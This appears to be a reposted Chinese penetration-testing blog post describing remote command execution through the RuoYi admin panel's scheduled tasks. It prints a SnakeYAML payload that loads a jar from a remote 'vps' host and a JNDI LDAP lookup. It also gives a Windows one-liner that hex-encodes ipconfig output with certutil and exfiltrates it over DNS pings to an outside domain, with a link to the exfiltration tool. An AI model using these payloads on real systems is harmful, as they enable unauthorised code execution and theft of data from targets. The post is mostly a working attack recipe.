曲折的命令执行回显

admin 2023年5月18日09:00:11评论19 views字数 1311阅读4分22秒阅读模式

0x01.命令执行

日常漏洞挖掘中发现了一处若依系统,进入后台后尝试使用常规方法加载jar包来注入内存马

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]]]]')
曲折的命令执行回显

执行定时任务后,系统成功访问到了放在vps上的jar包

曲折的命令执行回显

尝试访问内存马,直接跳转回登录界面,内存马注入失败(之后f0ng师傅研究了一下,若依4.2版本的系统使用目前公开的内存马工具是无法成功注入的)

内存马注入失败后就无法执行命令了?此时我想到了使用ldap协议,若依的后台定时任务是可以使用ldap协议来执行命令的

javax.naming.InitialContext.lookup('ldap://vps')

尝试使用DNSURL看哪条链可以使用曲折的命令执行回显

启动jndi,成功接收到请求曲折的命令执行回显

DNS成功获取到请求,说明该链可以使用

曲折的命令执行回显

尝试直接执行命令ping dns服务器

曲折的命令执行回显

命令执行成功,jndi与dns获取到请求曲折的命令执行回显曲折的命令执行回显

到了执行命令这一步,就可以进行上线或者其他各种操作了。但是,若依的定时任务漏洞无回显,尝试powershell、远程下载文件进行上线都无法成功,该漏洞似乎到此为止了。

0x02.DNS回显

虽然命令执行没有回显,也无法上线,但是DNS出网,可以DNS来回显命令执行的结果

获取DNS回显需要一个工具

https://github.com/A0WaQ4/HexDnsEchoT

该工具是我修改了sv3nbeast师傅的工具,原本的工具因为DNS服务器时区更改而无法使用了,我在此基础上修复了该工具,并添加了一些新的功能,让其使用更加方便。其原理是将命令执行的结果输入到一个文件中,再对其进行hex编码生成txt文件,之后再逐行读取文件,将hex编码外带到DNS上,此时工具访问DNS服务器,对dns结果进行整理拼接,最后hex解码,获取到原本的命令执行结果。

利用该工具生成的以下命令,我成功的获取到了命令执行回显,获取到了目标机器的信息

del ipconfig7 && del ipconfig7.txt && ipconfig > ipconfig7 &&echo 11111111111>>ipconfig7 && certutil -encodehex ipconfig7 ipconfig7.txt && for /f "tokens=1-17" %a in (ipconfig7.txt) do start /b ping -nc 1  %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.ipconfig.bec7d9a8.dnsbug.cn.
曲折的命令执行回显

0x03.总结

渗透测试要细心大胆,对于一些极端环境多思考,总会存在解决方法。

原文地址:https://xz.aliyun.com/t/12352

 若有侵权请联系删除

技术交流加下方vx


曲折的命令执行回显


原文始发于微信公众号(红蓝公鸡队):曲折的命令执行回显

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月18日09:00:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   曲折的命令执行回显https://cn-sec.com/archives/1736838.html

发表评论

匿名网友 填写信息